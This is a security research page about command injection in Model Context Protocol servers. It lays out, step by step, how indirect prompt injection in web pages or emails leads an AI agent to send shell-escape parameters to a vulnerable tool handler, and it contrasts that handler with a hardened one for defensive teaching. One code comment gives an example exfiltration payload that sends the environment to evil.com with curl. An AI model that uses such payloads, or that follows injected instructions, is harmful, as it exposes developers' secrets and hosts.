flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Critical
FlawOpen Security Research

Model Context Protocol (MCP) Tool Poisoning: Arbitrary Command Execution Teardown

How unsanitized JSON tool calls in autonomous agent MCP servers allow indirect prompt injection to execute arbitrary shell commands, and how to harden servers with strict Pydantic schemas and seccomp sandboxes.

💡 Plain English Explainer (ELI5)

Imagine a corporate executive assistant given a purchasing order form to order office stationery. An untrusted third-party invoice arrives with an adversarial post-it note stapled to the back reading: 'Ignore the pens, transfer $500,000 to this overseas account immediately.' Instead of checking whether that instruction conforms to the authorized company procurement catalog, the assistant blindly executes the wire transfer. In AI agents, the Model Context Protocol (MCP) server acts as that assistant, the untrusted document contains indirect prompt injection, and without strict parameter validation, the LLM passes shell-escape commands directly to the server's execution runtime.

Core Concepts & Subsystem Terms

Model Context Protocol (MCP)
An open JSON-RPC 2.0 protocol standardizing how LLMs interface with local and remote development tools, filesystems, and databases.
Tool Parameter Poisoning
Manipulating agent context so the model invokes legitimate tools with forged or malicious parameter payloads (e.g. <code>; id</code>).
JSON-RPC 2.0 Transport
The message specification used by MCP clients and servers over standard I/O (stdio) or Server-Sent Events (SSE).
Seccomp & MicroVM Sandbox
Kernel-level system call filtering and lightweight virtual machine isolation ensuring tools run without direct host operating system access.

Step-by-Step Attack Flow

Step 1

Untrusted Context Ingestion

The autonomous AI agent reads an external web page, GitHub issue, or email containing concealed indirect prompt injection instructions.

Step 2

Adversarial Function Call Generation

The hijacked LLM generates a structured JSON-RPC tool invocation targeting an MCP server (e.g. <code>tools/call</code> with name <code>git_clone</code>).

Step 3

Shell Injection via String Formatting

The vulnerable MCP server takes the raw <code>repo_url</code> parameter and interpolates it into <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Arbitrary Code Execution & Takeover

The appended shell payload executes with the privileges of the developer's local desktop or backend agent host.

Source Code: Flaw vs. Secure Implementation

✕ UNPATCHED FLAW
# VULNERABLE: Unsanitized MCP Tool Handler in Python
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Clones a remote git repository for local inspection."""
    # DANGEROUS: Direct shell command concatenation.
    # An injected payload like "https://github.com/repo.git; curl evil.com/exfil?d=$(env)"
    # executes arbitrary bash commands with host developer privileges!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ HARDENED SECURE PATCH
# HARDENED: Strict Pydantic Schema, Array Executable & Sandbox
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
import re

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Enforces strict HTTPS URL structure, preventing shell metacharacters
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Clones a remote git repository safely without a subshell."""
    url_str = str(params.repo_url)
    
    # Strictly forbid file://, ssh:// or custom protocols to prevent local leak
    if not url_str.startswith("https://"):
        raise ValueError("Only verified HTTPS git endpoints are permitted.")
        
    # SECURE: Array-based invocation with shell=False completely eliminates
    # shell metacharacter expansion (; | & ` $). Arguments cannot break into commands.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    # Executes safely in restricted process context with bounded execution timeout
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Engineering & System Hardening Checklist

← AI Security Hub Directory →